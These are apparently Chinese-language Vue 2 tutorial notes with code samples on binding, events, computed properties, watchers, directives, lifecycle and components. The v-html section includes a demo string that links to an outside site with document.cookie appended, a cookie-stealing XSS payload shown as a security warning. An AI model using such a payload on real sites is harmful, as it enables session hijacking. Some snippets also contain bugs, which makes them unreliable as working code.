Vue.js

122 阅读9分钟

数据绑定 el和data的两种写法

<!-- v-bind:可简写为 :
    单向数据绑定:开发者工具数据改变页面数据变化、页面数据变化控开发者工具数据不变。 -->
   
    <!-- v-model:  v-model:value 可简写为    v-model:
    双向数据绑定  开发者工具数据改变 页面数据也变化  页面数据变化开发者工具也变化
    只能应用于表单类元素上(输入类元素 input 单选多选框 select框 多行输入  有 value值)其他元素类型无法使用 
    
-->


<!-- el 和 data的两种写法


-->
    <!-- 定义容器 -->
     <div id="root">
         <h1>你好, {{ name }}</h1>
     </div>
 
     <script>
   Vue.config.productionTip = false //关闭生产提示
   
//    el 第二种写法 利用$mount 属性
//    data的第二种写法
   
   const v =  new Vue({
            // el:'#root', //el第一种写法
            // data:{      //data第一种写法对象式
            //  name:'罗浩哲'
            // }
            // data第二种写法 函数式  组件必须使用
            data() {
                console.log('@@@',this) //普通函数此处的this指向Vue实例对象
                // console.log('@@@',this) //不能写成箭头函数此处的this指向window全局实例对象

               
                return{
                    name: '罗浩哲'
                }
            }
         });

      //挂载
      v.$mount('#root')   //第二种写法

        //  console.log(v);
     </script>

MVVM模型

931a48ad1c9c57b1821270923d31e19d.png

data中的所有属性最后都出现在vm身上
Vue身上的所有属性及Vue原型上的所有属性在Vue模板上都可以直接使用

Object.defineProperty 回顾

 //  案列age的值由number决定且当number发生改变时自动更新
    let number = 18

    //   定义对象
    let Person = {
        name: 'luo',
        sex: '男',
    }
    // 传入四个配置项 对象默认属性修改
    // Object.defineProperty(对象名, 要添加的属性名, {配置对象})
    Object.defineProperty(Person, 'age', {
    //    value: 18,  //属性值
    //    enumerable:true, //控制值是否可以枚举遍历 默认值为false
    //    writable: true, //控制值是否可以被修改 默认值为false
    //    configurable:true, //控制值是否可以被删除 默认值为false

    //   当有人读取Person age 属性时 get就会被调用 且返回值就是age的值
    get() {
        console.log('age属性被读取了');
        return  number;
    },

    //当有人修改age的属性时 set就会被调用 且会收到修改具体的值
    set() {
        console.log('age属性被修改了 且值是', value);
        number = value
    }
    
    })
//  for(let v in Person){
//     console.log(v);
//  }
  
// console.log(Person);

数据代理

<!-- 数据代理 通过一个对象代理对另一个对象中属性的操作(读/写) -->
       
      <script>
        let Obj = {x:100}
        let Obj1 = {y:200}
        // Obj1通过添加Obj中的x可以读写Obj中的值x
       Object.defineProperty(Obj1, 'x', {
        get() {
            return Obj.x
        },
        set(value) {
            Obj.x =  value
        }
       })

      </script>
1.Vue中的数据代理
   通过vm对象来代理data中对象中属性的操作(都getter、写、setter)
2.Vue代理的好处
    更加方便的操作data中的数据
3.基本原理 :
    通过Object.defineProperty()把data对象中的所有属性
    添加vm身上,为每一个添加的data中的属性都指定getter
    和setter
    在getter 和 setter 内部去操作(读/写属性)data中对应的属性
    

ec83efcce71f017fcfe3f3326fb667a6.png

事件的基本使用

 1.v-on:click  简写形式  @click 
 2.事件的回调要写在methods中最终会出现在vm中
 3.methods中配置的函数不要用箭头函数  this
 4.methods中配置的函数 this指向vm
 5.@click="demo" 和@click="demo($event, 要传递的参数)"
 
 <!-- 定义容器 -->
     <div id="root">
        <h1>单击事件绑定</h1>
        <!-- <button v-on:click="showInfo">{{name}}</button> -->
        <!-- v-on:click  简写形式  @click  传递参数  函数名后面跟)() -->
        <button @click="showInfo(99,$event)">{{name}}</button>
     </div>
     <script>
        Vue.config.productionTip = false;//关闭生产提示
        const vm = new Vue({
            data() {
                return{
                    name: 'luohaozhe',
                    id: '99'
                }
            },
            methods: {
               showInfo(number,event){
                // 输出按钮中的文本
                console.log(event.target.innerText);
                //   alert('你好吗?')
                // console.log(this);//此处的this是vm
                console.log(number);
               }
            },
        });
        vm.$mount('#root');
     </script>

事件修饰符

<h2>事件修饰符</h2>
         <!-- vue中的事件修饰符
         1.prevent: 阻止默认事件(常用)
         2.stop: 阻止事件冒泡  (常用)
         3.once 事件只触发一次(常用)
         4.capture 使用事件的捕获模式
         5.self 只有event.target是当前操作的元素时才出发事件
         6.passive 事件的默认行为立即执行,无需等待事件回调执行完毕
         
         
         7.修饰符可以连续写
        
          -->

         <!--prevent事件修饰符 阻止a标签默认跳转 -->
         <a href="https://www.baidu.com" @click.prevent="showInfo">点我提示信息</a>
   
         <!-- 2.stop: 阻止事件冒泡  (常用) -->
         <div id="demo1" @click="showInfo">
            <button @click.stop="showInfo">点我提示信息</button>
         </div>
   
         <!-- 3.once 事件只触发一次(常用) -->
         <button @click.once="showInfo">点我提示内容</button>
        </div>
    <script>
        Vue.config.productionTip = false;
       const vm = new Vue({
        data() {
            return {
                
            }
        },
        methods: {
            showInfo(e) {
                //方法一 e.preventDefault() 阻止默认行为
                // e.preventDefault()
                //阻止事件冒泡
                // e.stopPropagation();
                
                alert('早上好呀')
            }
        },
       })
       vm.$mount('#root')
    </script>

键盘事件

 <!-- vue常用按键别名
    1.回车  == enter
    2.删除  == delete (捕获删除和退格键)
    3.退出  == esc 
    4.空格  == space
    5.换行  == tab    (特殊 必须配合keydown使用)
    上      == up
    下      == down
    左      == left
    右      == right

    2.Vue未提供的别名可通过  按键原始Key值去绑定 但注意要转为kebab-case(短横线命名)

    3.系统修饰符(用法特殊)ctrl alt shift mate
    (1)配合keyup使用  按下修饰键的同事,再按下其他键 随后释放其他键 事件才被触发
      小技巧: 要指定只用按下 ctrl + y才执行    @keyup.ctrl.y
     (2)配合keydown使用 正常触发事件

     4.也可以使用keyCode去指定具体的按键(不推荐)
    
     5.Vue.config.KeyCodes自定义键名 = 键码 可以订制按键别名

    -->
         <h2>{{name}}事件</h2>
        
 <input type="text" placeholder="按下回车提示输入" @keyup.enter="showInfo">
</div>
    <script>
    Vue.config.productionTip = false;
       const vm = new Vue({
        data() {
            return {
              name: '键盘'  
            }
        },
        methods: {
            showInfo(e) {
                // 按下回车时停止
                // if(e.Keycode !== 13) return
                // 输出input中输入的键盘名 和键盘编码 回车为13
                // console.log( e.Key e.Keycode);
                // 输出在input中输入的值
               console.log(e.target.value);
            }
        },
       })
       vm.$mount('#root')
    </script>

计算属性

 <!-- 计算属性 computed 
      1.定义: 要用的属性不存在通过已有的属性计算出来
      2.原理: 底层借助Object.defineproperty方法提供的getter 和setter
         3.get函数什么时候执行
           1.函数初次调用会执行一次
           2.当依赖的属性发生改变时会再次被调用测试方便
       5.备注:
       1.计算属性最终会出现在vm上,直接读取即可
       2.如果计算属性要被修改那必须写set函数去响应修改
       且set中要引起计算时依赖的数据发生变化 -->


     <div id="root">
         姓: <input type="text"  v-model="surname"><br><br>
         名:<input type="text" v-model="name"><br><br>
         <!-- 插值语法实现 -->
         <!-- <h3>全名: {{surname.slice(0,2)}}-{{name}}</h3> -->
         <!-- methods实现 -->
         <!-- <h3>全名: {{fullName()}}</h3> -->
         <!-- 计算属性实现 -->
         <h3>全名: {{fullName}}</h3>
        </div>

    <script>
    const vm  = new Vue({
        data() {
            return {
                surname: '罗',
                name: '皓哲',
            }
       
        },
        methods: {
        //    fullName() {
        //        return this.surname + '-' + this.name
        //    }
            },
        computed:{
          // 简写形式 ---只读取不修改才可以使用简写形式
           fullName() {
                return this.surname + this.name
           } 
        
        //完整形式
            fullName:{
                get() {
                 //get 有什么作用  当有人读取fullName()时get就会被调用
                 //get 什么时候被调用  
                //   1.初次读取fullName时
                //   2.所依赖的数发生变化时
                console.log('get被调用了');
                //this 指向 vm
                  return this.surname + '-' + this.name
                },
                //set 什么时候被调用 当fullName被修改时调用
                set(value) {
                     console.log('set', value);
                     //按照指定字符将将数据拆分成一个数组
                     const arr = value.split('-')
                     this.surname = arr[0]
                     this.name = arr[1]
                }
            }
        }
    });
    vm.$mount('#root')
    </script>

监视属性

<!-- 监视属性watch
     1.当被监视的属性发生变化时,回调函数自动调用 进行相关操作
     2.监视的属性必须存在 才能进行监视!!!
     3.监视的两种写法
        (1)通过 new Vue 传入 watch:{handler(NewValue,oldValue){}}
        (2)通过vm.$watch('要监视的属性',{配置}) -->



    <div id="root">
        <h1>今天天气很{{info}}</h1>
     <!-- <button @click="Switch">切换天气</button> -->
     <!-- 小技巧 语句简单可直接写到click后面-->
     <button @click="isHot = !isHot">切换天气</button>

    </div>
    
     <script>
        const vm = new Vue({
            data() {
                return {
                   isHot: true 
                }
            },
            computed:{
                info() {
                    return this.isHot ? '炎热' : '凉爽'
                }
            },
            methods: {
                Switch() {
                   this.isHot = !this.isHot
                }
            },
            watch:{
                isHot:{

                    immediate:true,//初始化时让handler调用一下 默认为false
                    //handler 什么时候调用,当isHot被修改了
                    handler(newValue, oldValue){
                         console.log('isHot被修改了',newValue,oldValue);
                    }
                },
                // info:{
                //     immediate:true,//初始化时让handler调用一下 默认为false
                //     //handler 什么时候调用,当isHot被修改了
                //     handler(newValue, oldValue){
                //          console.log('info被修改了',newValue,oldValue);
                //     }
                // }
            }
        })
        vm.$mount('#root')
        // 监听的第二种写法
        // vm.$watch('isHot', {
        //     immediate:true,//初始化时让handler调用一下 默认为false
        //             //handler 什么时候调用,当isHot被修改了
        //             handler(newValue, oldValue){
        //                  console.log('isHot被修改了',newValue,oldValue);
        //             }
        // })
     </script>

深度监视

  <!-- 深度监视:
    1.Vue的watch默认不监测对象内部值的改变
    2.配置deep: true 可以监测对象内部值的改变
    备注:
    1.Vue自身可以监测对象内部值的改变,但Vue提供的watch默认不可以
    2。使用watch时根据数据内部的具体结构,决定是否采用深度监视 -->


    <div id="root">
        <h1>今天天气很{{info}}</h1>
     <!-- <button @click="Switch">切换天气</button> -->
     <!-- 小技巧 语句简单可直接写到click后面-->
     <button @click="isHot = !isHot">切换天气</button>
     <hr>

     <h3>a的值是: {{numbers.a}}</h3>
     <button @click="numbers.a++"> 点我让a+1</button>
<hr>
<h3>b的值是: {{numbers.b}}</h3>
     <button @click="numbers.b++"> 点我让b+1</button>
    </div>
    
     <script>
        const vm = new Vue({
            data() {
                return {
                   isHot: true,
                   numbers:{
                     a: 1,
                     b: 1
                   }
                }
            },
            computed:{
                info() {
                    return this.isHot ? '炎热' : '凉爽'
                }
            },
            methods: {
                Switch() {
                   this.isHot = !this.isHot
                }
            },
            watch:{
                isHot:{

                    // immediate:true,//初始化时让handler调用一下 默认为false
                    //handler 什么时候调用,当isHot被修改了
                    handler(newValue, oldValue){
                         console.log('isHot被修改了',newValue,oldValue);
                    }
                },
                //监视多级结构中某个属性值的变化
                // 'numbers.a':{
                //     handler(){
                //         console.log('a被改变了');
                //     }
                // },
                //深度监视监视多级结构所有属性的变化 deep 默认为false

                numbers:{
                      deep: true,
                      handler() {
                        console.log('numbers被改变了');
                      }
                }
            }
        })
        vm.$mount('#root')

数据监视简写

// 简写 只有handler时
                 isHot(newValue, oldValue) {
                    console.log('isHot被修改了', newValue, oldValue);
                 },

computed 和 watch 的对比

<!-- computed 和 watch 的区别
      1.computed能完成的,watch都可以完成
      2.watch能完成的,computed不一定能完成 例如异步操作
      两个重要的小原则
      1.被vue所管理的函数最好写成普通函数  这样this指向 vm
      2.所有不被Vue所管理的函数(定时器函数, ajax回调函数 Promise的回调函数)
      最好写成箭头函数  这样this才会指向 vm 或组件实例对象
       -->



     <div id="root">
         姓: <input type="text"  v-model="surname"><br><br>
         名:<input type="text" v-model="name"><br><br>
         <h3>全名: {{fullName}}</h3>
        </div>

    <script>
    const vm  = new Vue({
        data() {
            return {
               surname: '罗',
               name: '浩哲',
               fullName: '罗浩哲'
            }
       
        },
        watch:{
            surname(val){
                setTimeout(() => {
                    return this.fullName = val + ' ' + this.name;
                }, 1000);
            },
            name(val){
                setTimeout(() => {
                    return this.fullName = this.surname + ' ' +val;
                }, 1000);
            }

        }
      
    });
    vm.$mount('#root')

class样式绑定 style样式绑定

 <!-- 1.class样式绑定
    写法: :class="xxx" xxx 可以是字符串 数组 对象
    2.style样式绑定
    :style="{fontSize: xxx}" 对象写法  其中xxx是动态值
    :style="[a,b]" 数组形式  其中 a,b 是样式对象 -->

<div id="root">
    <!-- 绑定class 样式----字符串写法 适用于样式类名不确定 需要动态指定 -->
     <div class="basic" :class="mood" @click="changeMood">{{name}}</div>
     <hr>
     <!-- 绑定class 样式----数组写法 适用于要绑定的样式个数不确定,名字也不确定 需要动态指定 -->
     <div class="basic" :class="arr">{{name}}</div>
     <hr>
     <!-- 绑定class 样式----对象写法 适用于要绑定的样式个数确定,名字也确定 需要动态决定用不用 --> 
     <div class="basic" :class="obj">{{name}}</div>
     <hr>
     
     <!-- 绑定style样式 -->
     <div class="basic" :style="styObj">{{name}}</div>
    </div>
    <script>
        const vm = new Vue({
            data() {
                return {
                    name: '孙润美',
                    mood: '',
                    arr: ["l1","l2","l3"],
                    obj:{
                        l1: false,
                        l2: false,
                    },
                    styObj:{
                        fontSize: '20px',
                        color: 'blue',
                        backgroundColor: 'pink'

                    }
                }
            },
            methods: {
                changeMood() {
                // 创建数据将样式类名存入
                 const arr = ['happy','sad','nomal'];
                //  随机生成012三个数
                const index =   Math.floor(Math.random()*3)
                //点击随机更改颜色
                this.mood = arr[index]

                }
            },
        })
        vm.$mount('#root')
    </script>

数据渲染 v-show v-if

<div id="root">
      <!-- 使用v-show做条件渲染  后面接布尔值或者可得到布尔值的表达式
        底层使用 display 实现  显示与隐藏
        变化频繁使用 v-show
         -->
      <!-- <h2 v-show="false">欢迎你{{name}}</h2> -->
      <!-- <h2 v-show="1===2">欢迎你{{name}}</h2> -->

      <!-- 使用v-if做条件渲染  确定不再展示-->
      <h2 v-if="false">欢迎你{{name}}</h2>

      <h2>当前N的值为: {{n}}</h2>
      <button @click="n++">点我N+1</button>
      <!-- <div v-show="n===1">Angular</div>
      <div v-show="n===2">React</div>
      <div v-show="n===3">Vue</div> -->

      <!-- v-else 和 v-else-if 结构不允许打断中间不能加其他元素 -->
      <!-- <div v-if="n===1">Angular</div>
      <div v-else-if="n===2">React</div>
      <div v-else-if="n===3">Vue</div> -->
      <!-- n为其他值时都显示优乐美 -->
      <!-- <div v-else>优乐美</div> -->

       <!-- template只能配合 v-if 使用 不能配合v-show 使用 -->
      <template v-if="n===1 || n===2 || n==3">
        <h2>周一</h2>
        <h2>周二</h2>
        <h2>周三</h2>
      </template>

    </div>

    <script>
      Vue.config.productionTip = false;
      const vm = new Vue({
        data() {
          return {
            name: "罗浩哲",
            n: 0,
          };
        },
      });
      vm.$mount("#root");
    </script>

列表渲染

<div id="root">
        <!-- v-for 指令
        1.用于展示列表数据
        2.语法 v-for="(item,index) in xxx" :key='index'
          可遍历 数组  对象  字符串 -->
      <h2>milk tea</h2>
      <!-- v-for in/of 遍历数组 -->
      <ul>
        <!-- <li v-for="t in tea" :key="t.id">{{t.name}} - {{t.boutique}}</li> -->
        <!-- v-for 接收两个形参 (t, index) 可自定义 
        t 为 数组的每一项值 , index 为数组的索引值  -->
        <li v-for="(t,index) in tea" :key="index">
          {{t.name}} - {{t.boutique}}
        </li>
      </ul>

      <!-- v-for in/of 遍历对象 -->
      <h2>汽车信息</h2>
      <ul>
        <li v-for="(c,index) of car" :key="index">{{index}} --{{c}}</li>
      </ul>
    </div>

    <!-- v-for in/of 遍历字符串 指定遍历次数 -->
    <h2>遍历字符串</h2>
    <ul>
      <li v-for="(a,b) in str" :key="b">{{a}} - {{b}}</li>
    </ul>
    <script>
      const vm = new Vue({
        data() {
          return {
            tea: [
              { id: "001", name: "蜜雪冰城", boutique: "柠檬水" },
              { id: "002", name: "一点点", boutique: "珍珠奶茶" },
              { id: "003", name: "茶百道", boutique: "草莓冰沙" },
              { id: "004", name: "古茗", boutique: "百香双重奏" },
            ],
            car: {
              name: "奥迪A8",
              price: "80",
              color: "黑色",
            },
            str: "hello",
          };
        },
      });
      vm.$mount("#root");
    </script>

v-if 中key的作用原理 ---最好使用id作为key

ca109c2aafd3dc457266e6141ef28397.png

列表过滤

 <div id="root">
        搜索:<input type="text" placeholder="请输入搜索的信息" v-model:value="teaName"><br>
        <ul>
            <li v-for="t in filters" :key="t.id">
                {{t.name}} - {{t.boutique}} - {{t.price}}
            </li>
            </li>
        </ul>

    </div>
<!-- 列表过滤 --模糊搜索---watch实现 -->
    <!-- <script>
        
        Vue.config.productionTip = false;
        const vm = new Vue({
            data() {
                return {
                    teaName: '',
                    tea: [
                        { id: "001", name: "星巴克", boutique: "冰美式", price: "14¥RMB" },
                        { id: "002", name: "蜜雪冰城", boutique: "柠檬水", price: "4¥RMB" },
                        { id: "003", name: "一点点", boutique: "珍珠奶茶", price: "19¥RMB" },
                        { id: "004", name: "茶百道", boutique: "草莓冰沙", price: "19¥RMB" },
                        { id: "005", name: "古茗", boutique: "百香双重奏", price: "18¥RMB" },
                    ],
                   filter:[],
                }
            },
            watch: {
                teaName:{
                    immediate: true, 
                    handler(val) {
                        console.log('teaName改变了');
                    //数组过滤a
                    this.filter = this.tea.filter((t) => {
                        //   判断数组是否包含输入的字符 过滤生成新数组
                        return t.name.indexOf(val) !== -1
                    })
                }
                }
               
            }
        });
        vm.$mount('#root')
    </script> -->
<!-- 列表过滤 --模糊搜索---computed实现 -->  
    <script>    
        Vue.config.productionTip = false;
        const vm = new Vue({
            data() {
                return {
                    teaName:'',
                    tea: [
                        { id: "001", name: "星巴克", boutique: "冰美式", price: "14¥RMB" },
                        { id: "002", name: "蜜雪冰城", boutique: "柠檬水", price: "4¥RMB" },
                        { id: "003", name: "一点点", boutique: "珍珠奶茶", price: "19¥RMB" },
                        { id: "004", name: "茶百道", boutique: "草莓冰沙", price: "19¥RMB" },
                        { id: "005", name: "古茗", boutique: "百香双重奏", price: "18¥RMB" },
                    ],   
                }
            },
           computed:{
                 filters() {
                    // 数组过滤  t为数组的每一项
                    return this.tea.filter((t) =>{
                        // 判断数组是否存在 输入搜索的值 即值不为-1
                        return t.name.indexOf(this.teaName) !== -1
                    })
                 }
           }
        });
        vm.$mount('#root')
    </script>

列表排序

<div id="root">
        <h2>奶茶列表</h2>
        <input type="text" placeholder="请输入店铺名" v-model:value="teaName">
        <button @click="sortType = 2">价格升序</button>
        <button @click="sortType = 1">价格降序</button>
        <button @click="sortType = 0">原顺序</button>
        <ul>
            <li v-for="t in filters" :key="t.id">
                {{t.name}} - {{t.boutique}} - {{t.price}}
            </li>
            </li>
        </ul>

    </div>

<!-- 列表过滤 --模糊搜索---computed实现 -->  
    <script>    
        Vue.config.productionTip = false;
        const vm = new Vue({
            data() {
                return {
                    sortType: '0', //0为原顺序 1为降序 2为升序
                    teaName:'',
                    tea: [
                        { id: "001", name: "星巴克", boutique: "冰美式", price: "14" },
                        { id: "002", name: "蜜雪冰城", boutique: "柠檬水", price: "4" },
                        { id: "003", name: "一点点", boutique: "珍珠奶茶", price: "19" },
                        { id: "004", name: "茶百道", boutique: "草莓冰沙", price: "19" },
                        { id: "005", name: "古茗", boutique: "百香双重奏", price: "18" },
                    ],   
                }
            },
           computed:{
                 filters() {
                    // 数组过滤  t为数组的每一项
                    const arr = this.tea.filter((t) =>{
                        // 判断数组是否存在 输入搜索的值 即值不为-1
                        return t.name.indexOf(this.teaName) !== -1
                    })
                    // 判断模糊搜索过滤后的数据是否需要价格排序
                    if(this.sortType){
                       arr.sort((p1,p2) => {
                         return this.sortType === 1 ?  p1.price - p2.price : p2.price - p1.price;
                       })  
                    }
                    return arr
                 }
           }
        });
        vm.$mount('#root')
    </script>

内置指令

<!-- 内置指令  简写            描述
             v-bind:   :             单向数据绑定
            v-model: 省略后面的value  双向数据绑定
              v-for                 遍历数组、对象、字符串
              v-on     @            绑定事件监听
              v-if                  条件渲染(动态控制节点是否存在)
              v-else               条件渲染(动态控制节点是否存在)
              v-show               条件渲染(动态控制节点是否展示)
              v-test                向其所在的节点中渲染文本内容
              v-html               向指定的节点中渲染包含html结构的内容
             v-cloak               配合css使用可以解决网速慢时页面展示问题
             v-once                所在节点在初次动态渲染后,就视为静态内容了
             v-pre                 跳过其所在节点的编译过程
            -->
            
            <!-- v-html指令
            1.作用: 向指定的节点中渲染包含html结构的内容
            2.与插值语法的区别
                 2.1 v-html会替换掉节点的所有内容,{{xx}} 则不会
                 2.2 v-html 可以识别html结构
            3.严重注意: v-html有安全性问题!!!!
                 3.1 在网站上动态喧嚷任意的html是非常危险的,容易导致攻击
                 3.2 一定要在可信内容上使用v-html 永远不要用在用户提交的内容上

            -->
            
            <!-- v-cloak (没有值)
                1.本质上是一个特殊属性 Vue实例创建容器并接管以后会自动移除v-cloak属性
                2.配合css使用可以解决网速慢时页面展示问题
                 
            -->


            <!-- v-once 指令
                1.v-once 所在节点在初次动态渲染后,就视为静态内容了
                2.以后数据的改变不会引起v-once所在节点的更新 可以用于优化性能

                
            -->
    
            <!-- v-pre 指令
               1.跳过其所在节点的编译过程
               2.可利用它跳过没有使用指令语法没有使用插值语法的节点 会加快编译
            
            
            -->


           <p>{{name}}</p>
            <!-- v-text  不支持结构解析标签里面不可以再写东西了 -->
            <p v-text="name"></p>
    
            <!-- <v-html>  支持结构解析 -->
            <div v-html="str"></div>
            <!-- v-html 安全性问题演示 -->
            <div v-html="str2"></div>

            <!-- v-cloak 没有值配合css使用-->
            <p v-cloak>{{name}}</p>
            <!-- <style>
                [v-cloak]{
                    display: none;
                }
            </style> -->
           
            <!-- v-once 演示 -->
            <p v-once>初始化的n值是: {{n}}</p>
            <p>当前的n值是:{{n}}</p>
             <button @click="n++">点我N加1</button>



        </div>
    <script>
        const vm = new Vue({
            data() {
                return {
                    n: 1,
                   name: '罗浩哲',
                   str: '<h3>你好嘢?</h3>',
                   str2: '<a href="javascript:location.href="https://www.baidu.com?+documnet.cookie">诱惑性内容</a>',
                }
            },
        });
        vm.$mount('#root')
    </script>

自定义指令

<!-- 自定义指令
        备注:
        1.指令定义式不加 v- 但使用时一定要加v-
        2.指令名如果是多个单词要使用kebab-casass中间使用 - 连接 分割  定义时 要加上 ''
    -->
    <!-- 案例需求 
     1.定义一个v-big 指令 和v-text功能类似 但会把绑定的数值放大102.定义一个v-fbind指令 和bind 指令功能类似 但会把其所绑定的input元素默认获取焦点
    -->

    <div id="root">

      <h2> 当前的N值是:<span v-text="n"></span></h2> 
      <h2> 放大十倍的N值是:<span v-big="n"></span></h2> 
       <button @click="n++">点我N+1</button>
       <hr>
       <input type="text" v-fbind:value="n">
    </div>

    <script>
        Vue.config.productionTip = false;
        //全局自定义指令
        Vue.directive('fbind',{
            //当指令与元素成功绑定时调用
            bind(element,binding) {  
                    console.log('bind');
                    element.value = binding.value
                   },
                    //指令元素被插入页面时调用
                   inserted(element,binding){
                    console.log('inserted'); 
                      element.focus()
                   },
                   //当指令所在模板重新解析时调用
                   update(element,binding) {
                    console.log('update');
                    element.value = binding.value
                   },
        })
        const vm = new Vue({
            data() {
                return {
                   n: 1,
                }
            },
            //局部自定义指令
            directives:{
                //函数式写法
                // big 函数什么时候被调用  
                // 1.当指令与元素成功绑定是调用
                // 2.指令所在的模板重新解析时调用
                big(element,binding){  
                 console.log(element); //真实DOM span标签
                 console.log(binding); //对象 value为 传入的值n
                 element.innerText = binding.value * 10
                },

                //对象式写法
                fbind:{
                    //当指令与元素成功绑定时调用
                   bind(element,binding) {  
                    console.log('bind');
                    element.value = binding.value
                   },
                    //指令元素被插入页面时调用
                   inserted(element,binding){
                    console.log('inserted'); 
                      element.focus()
                   },
                   //当指令所在模板重新解析时调用
                   update(element,binding) {
                    console.log('update');
                    element.value = binding.value
                   },

                }
            }
        });
        vm.$mount('#root')
    </script>

生命周期

 <!-- 生命周期:
        1.又名生命周期回调函数/生命周期函数/生命周期钩子,
        2.是什么:Vue在关键时期帮我们调了一些特殊名称的函数
        3.生命周期函数的名字不可更改,但具体的函数内容根据需求编写
        4.生命周期函数的this指向是vm或组件实例对象

        常用的生命周期钩子
        1.mounted 发送ajax请求 、启动定时器、绑定自定义事件 、订阅消息等【初始化操作】
        2.beforeDestroy:清除定时器 、解绑自定义事件、取消订阅消息等【收尾工作】

        关于销毁Vue实例
        1.销毁后借助Vue开发者工具看不到任何信息
        2.销毁后自定义事件会失效,但原生DOM事件依旧有效
        3.一般不会在beforeDestroy操作数据 应为即使操作了数据也不会再更新了
        
    -->

    <div id="root">
        <!-- 引出生命周期 -->
        <h2 :style="{opacity}">Hello word</h2>

        <!-- 分析生命周期 -->
         <h2>当前的N值是:{{n}}</h2>
         <button @click="n++">点我N+1</button>
          
         <button @click="bye">点我销毁vm</button>
    </div>


    <script>
    Vue.config.productionTip = false;
    const vm = new Vue({
        el: '#root',
        data:{
             n: 1,
          name: '罗浩哲',
          opacity: 1  
        },
        methods: {
            bye(){
                console.log('bye');
                // 销毁
                this.$destroy()
            }
        },
        watch:{
           n(){
           console.log('n的值比变了');
           }
        },
        beforeCreate() {
            console.log('beforeCreate');
            // console.log(this)
            // debugger;//断点
        },
        created() {
            console.log('create');
            // console.log(this)
            // debugger;//断点
        },
        beforeMount() {
            console.log('beforeMount');
            console.log(this)
            debugger;//断点
        },
        //mounted()在Vue完成模板解析并把初的真实的DOm放入页面(挂载完毕)后调用
        mounted() {
            //定时器
           this.timer =  setInterval(() => {
          this.opacity -= 0.01
          if(this.opacity <= 0) this.opacity = 1
     },16) 
        },
        beforeUpdate() {
            console.log('beforeUpdate')
            
        },
       updated() {
            console.log('updated')
       },
       beforeDestroy() {
        //   清除定时器
       clearInterval(this.timer) 
        console.log('beforeDestroy')
        
       },
       destroyed() {
        console.log('destroyed')
        
       },
     })
     
     
    </script>

f0ca1065da770c3fc1b06a15b65c770b.png

非单文件组件

<!-- Vue 中使用组件的三大步骤
       一、创建组件(定义组件)
          1. 如何定义
          使用Vue.extend(options)创建其中option是和new Vue(options)
          时传入的那么options几乎一致 两个区别
             1.el 不要写 最终的组件毒药被一个vm所管理 由vm中的决定服务那个容器
             2.data必须写成函数形式  ----避免组件被复用时,数据存在引用关系
             备注: 使用template可以配置组件结构


       二、注册组件(局部/全局)
          1.局部注册:靠new Vue 的时候配置 components 选项
          2.全局注册:靠Vue.component('组件名','组件')


       三、使用组件(通过组件标签)
         <组件名 />
       
    -->
    
    <div id="root">
         <school></school>
         <hr>
         <student></student>
    </div>
 
  
   <script>
      //创建school组件
      const school = Vue.extend({
         template: `
         <div>
         <h2>学校名称:{{schoolName}}</h2>
         <h2>学校地址: {{Address}}</h2>  
         </div>`,
         data() {
            return {
               schoolName: '合肥八中',
               Address:'安徽合肥'
            }
         },
      })
      
     //创建student组件
     const student = Vue.extend({
      template: `
      <div>
         <h2>学生姓名:{{studentName}}</h2>
         <h2>学生年龄: {{age}}</h2>  
      </div>
         `,
          data() {
            return {
               studentName: '罗浩哲',
               age: 18
            }
          },
     })

      new Vue({
         el:'#root',
         components:{
            school,
            student
         }
      })
   </script>

VueComponent

<!-- 关于VueComponent
        1.school: 本质上是一个名为VueComponent的构造函数,且不是程序员定义的是Vue.extend自动生成的

        2.我们只需要写<school> Vue解析会自动帮我们创建school组件的实例对象
            即Vue帮我们执行的 new VueComponent(options)

        3.特别注意 每次调用Vue.extend 返回的都是全新的VueComponent!!!!

        4.关于this的指向
        (1)组件配置中
             data函数 methods函数 watch函数 computed函数 中this的指向均为 VueComponent 实例对象

        (2new Vue(options)配置中
            data函数 methods函数 watch函数 computed函数中他们的this均指向 vue实例对象

        5. VueComponent的实例对象 以后简称vc 也可以称为组件实例对象
        vue的实例对象以后简称为vm
    
    -->

    
    <div id="root">
       <school></school>
    </div>
 
  
   <script>

      //创建school组件
      const school = Vue.extend({
         template: `
         <div>
         <h2>学校名称:{{schoolName}}</h2>
         <h2>学校地址: {{Address}}</h2>  
         
         </div>`,
         data() {
            return {
               schoolName: '合肥八中',
               Address:'安徽合肥'
            }
         },
      })
      
     console.log(school);

      new Vue({
         el:'#root',
         components:{
            school
         }
      })
   </script>

一个重要的内置属性

  Vue.Component._prototype.__proto__ === Vue.prototype
        为什么要有这个关系 让组件实例对象(vc)可以访问到Vue原型上的属性和方法

nanoid使用

1.安装
npm  i nanoid
2.引入
import {nanoid} from 'nanoid'
3.使用
const personObj = {id:nanoid(),name:this.name};